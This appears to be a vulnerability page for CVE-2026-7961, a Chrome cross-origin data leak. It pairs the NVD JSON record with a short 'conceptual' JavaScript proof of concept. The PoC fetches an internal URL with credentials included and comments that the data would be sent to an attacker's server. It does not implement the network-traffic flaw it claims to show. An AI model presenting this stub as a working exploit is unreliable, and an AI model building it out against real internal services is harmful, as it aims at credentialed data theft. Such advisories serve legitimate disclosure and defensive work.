CVE-2026-7961

/* * Conceptual Proof of Concept (PoC) for CVE-2026-7961 * This script demonstrates how an attacker might attempt to leak cross-origin data * due to insufficient validation in Permissions on a local network segment. * Note: Actual exploitation requires specific network conditions and a vulnerable browser version. */ // Target internal resource that should normally be protected by Same-Origin Policy const targetUrl = 'http://internal.local/sensitive-data.json'; function attemptDataLeak() { console.log("[+] Attempting to exploit CVE-2026-7961..."); // In a vulnerable version, malicious network traffic can trigger a permission bypass // This could be initiated via a rogue local network response or manipulated request. fetch(targetUrl, { method: 'GET', mode: 'cors', // Attempting CORS request credentials: 'include' // Including cookies if available }) .then(response => { if (response.ok) { return response.text(); } throw new Error('Request failed or blocked by CORS'); }) .then(data => { console.log("[!] Successfully leaked cross-origin data:"); console.log(data); // Data would be exfiltrated to the attacker's server here }) .catch(error => { console.log("[-] Exploit failed (expected on patched versions):", error.message); }); } // Simulate the attack scenario try { attemptDataLeak(); } catch (e) { console.error(e); }

{"cve": {"id": "CVE-2026-7961", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:46.150", "lastModified": "2026-05-07T02:03:31.953", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in Permissions in Google Chrome prior to 148.0.7778.96 allowed an attacker on the local network segment to leak cross-origin data via malicious network traffic. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory", "Release Notes"]}, {"url": "https://issues.chromium.org/issues/497008295", "source": "[email protected]", "tags": ["Permissions Required"]}]}}